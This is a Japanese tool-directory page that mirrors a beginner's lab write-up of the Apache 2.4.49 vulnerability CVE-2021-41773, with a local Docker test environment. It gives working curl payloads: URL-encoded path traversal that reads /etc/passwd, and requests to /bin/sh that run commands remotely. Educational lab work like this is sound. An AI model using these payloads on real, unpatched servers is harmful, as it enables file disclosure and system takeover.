Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-41773 — CVE-2021-41773 | Kitploit
ツール/GitHubGitHub/noflowpls/cve-2021-41773
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubnoflowpls/cve-2021-41773

CVE-2021-41773

CVE-2021-41773

リポジトリを見る
61123年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-41773

みなさん、こんにちは。昨日、Apache 2.4.49 向けの新しい CVE-2021-41773 が公開されました。そこで今回は、この Apache の脆弱性について説明したいと思います。

Playground

みなさんもこの脆弱性をウェブサイトでテストしてみたいでしょう。そこで、みなさんのためのプレイグラウンド(テスト環境)を用意しました。 Apache 2.4.49 のサンプル Docker イメージをダウンロードできるサイトはこちらです: Docker Image

注: with-cgid と no-cgid の2つのイメージがあります。両方のイメージをダウンロードする必要があります。

Usage

まず、docker image を自分のマシンにダウンロードしてください。

Pull Docker Images

root@kitploit:~
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid

Run Image

root@kitploit:~
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Disclaimer

正直に言うと、彼がどうやってこの脆弱性を見つけたのかは分かりません。そのため、これについて完全に説明することはできません。しかし、この CVE について私が理解しているすべてを説明するために最善を尽くします。

Vulnerability

この CVE は、2つの脆弱性があるため少し興味深いです。それらは LFDLocal file disclosure(ローカルファイル開示) と RCE Remote Code Execution(リモートコード実行) です。いいですね! では、この投稿ではこの CVE の両方の脆弱性について説明します。

Local-file-disclosure (use no-cgi docker image)

では、Local file disclosure の脆弱性から始めましょう。Apache に慣れている方なら、cgi-bin(Common Gateway Interface)が Apache 2.4.49 において、Web サーバーが外部のコンテンツ生成プログラムとやり取りする方法を定義するデフォルトパスであることにお気づきでしょう。

しかし、このパスは誰にとっても、そして管理者にとっても Forbidden です。ふむ、それは興味深いですよね?

また、Local file disclosure の脆弱性に詳しい方なら、ほとんどの LFD 脆弱性が forbidden パスで発生することをご存知かもしれません。

では、/cgi-bin/ パスで LFI の単純なペイロードをテストしてみましょう。

/etc/passwd の前に ../../../../../ を付けました。 (../ が何か知りたい場合は、このブログ記事をチェックしてください: Local file disclosure bypass)

curl の場合:

root@kitploit:~
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

curl

Burp Suite の場合: burpsuite

ご覧のとおり、この単純なペイロードではエラーが発生しました。curl では 404 ステータスコード Not Found エラー、Burp では 400 Bad Request エラーになりました。

つまり、ペイロードを URL エンコードする必要があるということです。では、試してみて、何が得られるか見てみましょう。

そこで、. を URL エンコードしました。注: URL エンコードでは . は %2E、また %2e です。

curl の場合:

root@kitploit:~
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

curl

Burp の場合: Burp

はい! これでペイロードが機能しました。ウェブサイトの /etc/passwd を読むことができます。

これで、この CVE の LFD 脆弱性について理解していただけたと思います。それでは、この Apache 2.4.49 の CVE の RCE 脆弱性に進みましょう。

Remote-Code-Execution (use with-cgi docker image)

この CVE の RCE 脆弱性を説明するには、RCE と linux basics の基礎をいくつか理解する必要があります。

RCE とは何かについては、このブログ記事をチェックしてください: What is RCE

ああ、linux basics が必要だと言ったのは間違いだと思ったでしょう? いいえ、間違いではありません。実際にそれが必要だからです。では始めましょう!

まず、動作するペイロードを示します。その後、それがどのように機能するかを説明します。

root@kitploit:~
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

curl の場合: curl

Payload-Explain

では、このペイロードについて説明します。

root@kitploit:~
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

ご覧のとおり、パス /cgi-bin/ とエンコード .%2e は同じです。しかし、ここではさらに2つのオプションがあります。それは -d data と /bin/sh /bin/bash です。では、なぜこれらを付ける必要があるのか説明します。

/Bin/Bash

まず、私たちはリモートコード実行を手に入れたいのですよね?

ご存知のとおり、Linux ベースのシステムでは /bin/bash がコマンドやシェルを実行・入力するための主要な部分です。したがって、Web サーバーでコマンドを実行するには bash が必要です。こちらをチェックしてくださいWhat is Bash in linux。

Data

さて、ここで /bin/sh を取得できるとしましょう。あとはコマンドを注入するだけです。注入データは curl のデータとして送ることができます。

私たちのペイロードは C|echo;id です。これが何かを説明します。

C は何でもありません。| の前には好きなものを置けます。例えば Comdey| のように。

echo;id は単なる Linux のテクニックです。だから、linux の基礎が必要だと言ったのです。 Echo basics

これらを組み合わせると、Apache 2.4.49 で RCE が得られます。

Thanks!

読んでくれてありがとうございます。これは私にとって初めての CVE に関する writeup です。説明が下手だったら許してください。そして、アドバイスもぜひください。

Gif

ツールをダウンロード